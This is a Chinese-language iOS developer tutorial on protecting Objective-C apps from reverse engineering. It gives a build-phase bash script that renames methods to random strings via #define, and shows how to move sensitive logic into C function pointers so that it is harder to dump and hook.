Objective-C
代码混淆
class-dump
可以很方便的导出程序头文件,不仅让攻击者了解了程序结构方便逆向,还让着急赶进度时写出的欠完善的程序给同行留下笑柄。
所以,我们迫切的希望混淆自己的代
码。
混淆的常规思路
混淆分许多思路,比如:
1
)花代码花指令,即随意往程序中加入迷惑人的代码指令
2
)易读字符替换
等等
图片
23.1
confusion1
防止
class-dump
出可读信息的有效办法是易读字符替换。
Objective-C
的方法名混淆
混淆的时机
我们希望在开发时一直保留清晰可读的程序代码,方便自己。
同时,希望编译出来的二进制包含乱七八糟的混淆后的程序代码,恶心他人。
因此,我们可以在
Build Phrase
中设定在编译之前进行方法名的字符串替换。
混淆的方法
方法名混淆其实就是字符串替换,有
2
个方法可以,一个是
#define
,一个是利用
tops
。
利用
#define
的方法有一个好处,就是可以把混淆结果合并在一个
.h
中,在工程
Prefix.pch
的最前面
#import
这个
.h
。不导入也可以编译、导入则实现混淆。
单段的
selector
,如
func:
,可以通过
#define func
来实现字符串替换。
多段的
selector
,如
a:b:c:
,可以通过分别
#define a
、
b
、
c
来实现字符串替换。
我的混淆工具
我写了个简易的混淆脚本,主要思路是把敏感方法名集中写在一个名叫
func.list
的文件中,逐一
#define
成随机字符,追加写入
.h
。
脚本如下:
#!/usr/bin/env bash
TABLENAME=symbols
SYMBOL_DB_FILE="symbols"
STRING_SYMBOL_FILE="func.list"
HEAD_FILE="$PROJECT_DIR/$PROJECT_NAME/codeObfuscation.h"
export LC_CTYPE=C
#
维护数据库方便日后作排重
createTable()
{
echo "create table $TABLENAME(src text, des text);" | sqlite3 $SYMBOL_DB_FILE
}
insertValue()
{
echo "insert into $TABLENAME values('$1' ,'$2');" | sqlite3 $SYMBOL_DB_FILE
}
query()
{
echo "select * from $TABLENAME where src='$1';" | sqlite3 $SYMBOL_DB_FILE
}
ramdomString()
{
openssl rand -base64 64 | tr -cd 'a-zA-Z' |head -c 16
}
rm -f $SYMBOL_DB_FILE
rm -f $HEAD_FILE
createTable
touch $HEAD_FILE
echo '#ifndef Demo_codeObfuscation_h
#define Demo_codeObfuscation_h' >> $HEAD_FILE
echo "//confuse string at `date`" >> $HEAD_FILE
cat "$STRING_SYMBOL_FILE" | while read -ra line; do
if [[ ! -z "$line" ]]; then
ramdom=`ramdomString`
echo $line $ramdom
insertValue $line $ramdom
echo "#define $line $ramdom" >> $HEAD_FILE
fi
done
echo "#endif" >> $HEAD_FILE
sqlite3 $SYMBOL_DB_FILE .dump
操作步骤
1.
将混淆脚本
confuse.sh
放到工程目录下
mv confuse.sh your_proj_path/
2.
修改
Prefix.pch
打开
Xcode
,修改
XXX-Prefix.ch
,添加混淆头文件
:
#ifdef __OBJC__
#import <UIKit/UIKit.h>
#import <Foundation/Foundation.h>
//
添加混淆作用的头文件
(
这个文件名是脚本
confuse.sh
中定义的
)
#import "codeObfuscation.h"
#endif
3.
配置
Build Phase
在工程
Build Phase
中添加执行脚本操作,执行
confuse.sh
脚本,如图:
图片
23.2
confusion3
4.
创建函数名列表
func.list
,写入待混淆的函数名,如
:
-(void)sample;
-(void)seg1:(NSString *)string seg2:(NSUInteger)num;
就这样写:
sample
seg1
seg2
并将文件放置于与
confuse.sh
脚本同级
mv func.list your_proj_path/
5.
编译查看结果
直接
build
,混淆脚本会在编译前运行,进行字符随机替换,并且每次
build
的随机字符不同,如图:
图片
23.3
confusion4
24
敏感逻辑的保护方案
Objective-C
代码容易被
hook
,暴露信息太赤裸裸,为了安全,改用
C
来写吧!
图片
24.1
sensitive1
当然不是全部代码都要
C
来写,我指的是敏感业务逻辑代码。
本文就介绍一种低学习成本的,简易的,
Objective-C
逻辑代码重写为
C
代码的办法。
也许,程序中存在一个类似这样的类:
@interface XXUtil : NSObject
+ (BOOL)isVerified;
+ (BOOL)isNeedSomething;
+ (void)resetPassword:(NSString *)password;
@end
被
class-dump
出来后,利用
Cycript
很容易实现攻击,容易被
hook
,存在很大的安全隐患。
图片
24.2
sensitive2
想改,但是不想大改程序结构,肿么办呢?
把函数名隐藏在结构体里,以函数指针成员的形式存储。
这样做的好处是,编译后,只留了下地址,去掉了名字和参数表,提高了逆向成本和攻击门槛。
改写的程序如下:
//XXUtil.h
#import <Foundation/Foundation.h>
typedef struct _util {
BOOL (*isVerified)(void);
BOOL (*isNeedSomething)(void);
void (*resetPassword)(NSString *password);
}XXUtil_t ;
#define XXUtil ([_XXUtil sharedUtil])
@interface _XXUtil : NSObject
+ (XXUtil_t *)sharedUtil;
@end
//XXUtil.m
#import "XXUtil.h"
static BOOL _isVerified(void)
{
//bala bala ...
return YES;
}
static BOOL _isNeedSomething(void)
{
//bala bala ...
return YES;
}
static void _resetPassword(NSString *password)
{
//bala bala ...
}
static XXUtil_t * util = NULL;
@implementation _XXUtil
+(XXUtil_t *)sharedUtil
{
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
util = malloc(sizeof(XXUtil_t));
util->isVerified = _isVerified;
util->isNeedSomething = _isNeedSomething;
util->resetPassword = _resetPassword;
});
return util;
}
+ (void)destroy
{
util ? free(util): 0;
util = NULL;
}
@end
最后,根据
Xcode
的报错指引,把以前这样的调用
[XXUtil isVerified];
对应改成:
XXUtil->isVerified();
就可以了。
是的,绝不费一点脑子。
更多信息请访问
http://wiki.jikexueyuan.com/project/ios-security-defense/




